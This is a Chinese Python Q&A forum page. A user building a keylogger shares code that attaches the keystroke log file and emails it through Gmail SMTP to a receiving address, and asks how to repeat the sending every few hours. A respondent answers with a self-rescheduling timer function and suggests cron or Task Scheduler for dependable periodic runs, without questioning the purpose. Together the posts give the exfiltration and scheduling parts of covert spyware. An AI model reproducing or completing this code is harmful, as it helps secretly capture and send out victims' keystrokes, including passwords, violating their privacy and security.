键盘记录器项目,电子邮件间隔问题

2024-03-29 11:51:02 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在制作一个键盘记录器,每x小时发送一封附有日志的电子邮件。我尝试使用threading.Timer()命令;但是,它只发送了一次电子邮件。下面是我的代码:更新:作为替代方案,我还尝试在特定时间每天发送一次电子邮件,但我不知道具体需要什么命令

keys_information = "key_log.txt"

email_address = email sender
password = password

username = getpass.getuser()

toaddr = receiver email


file_path = "text file location"
extend = "\\"
file_merge = file_path + extend

# email controls
def send_email(filename, attachment, toaddr):

    fromaddr = email_address
    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg['Subject'] = "Log File"
    body = "Body_of_the_mail"
    msg.attach(MIMEText(body, 'plain'))

    filename = filename
    attachment = open(attachment, 'rb')
    p = MIMEBase('application', 'octet-stream')
    p.set_payload((attachment).read())
    encoders.encode_base64(p)
    p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
    msg.attach(p)
    s = smtplib.SMTP('smtp.gmail.com', 587)                                     #to access the server
    s.starttls()
    s.login(fromaddr, password)
    text = msg.as_string()
    s.sendmail(fromaddr, toaddr, text)
    s.quit()

t = threading.Timer(10, send_email, [keys_information, file_path + extend + keys_information, toaddr])
t.start()

Tags: pathtextattachmentinformation电子邮件emailmsgpassword
1条回答
网友
1楼 · 发布于 2024-03-29 11:51:02

实际上,我建议尝试使用一个用于此类计划作业的系统工具定期触发它,比如Linux上的cron或Windows上的任务调度器。他们将确保作业按时运行。如果程序因任何原因(如系统重启)停止运行,则在这样的程序内部执行此操作可能会失败,而cron作业将始终运行它

不过,我想回答你的问题。您可以通过在send_email函数末尾创建一个新计时器来重复此操作,或者最好创建另一个计时器调用的方法,该方法调用send_email,然后创建一个新计时器

# email controls
def send_email(filename, attachment, toaddr):
    ...

def trigger(*args):
    send_email(*args)
    t = threading.Timer(10, trigger, args)
    t.start()

t = threading.Timer(10, trigger, [keys_information, file_path + extend + keys_information, toaddr])
t.start()

这不会产生越来越多的线程,因为运行t.start()的线程会在start()返回后退出,这是在计时器线程触发之前

注意:您将计时器设置为关闭的时间不是您提到的“x小时”,而是10秒。我想那是为了测试

不过,这可能不是正确的选择

相关问题 更多 >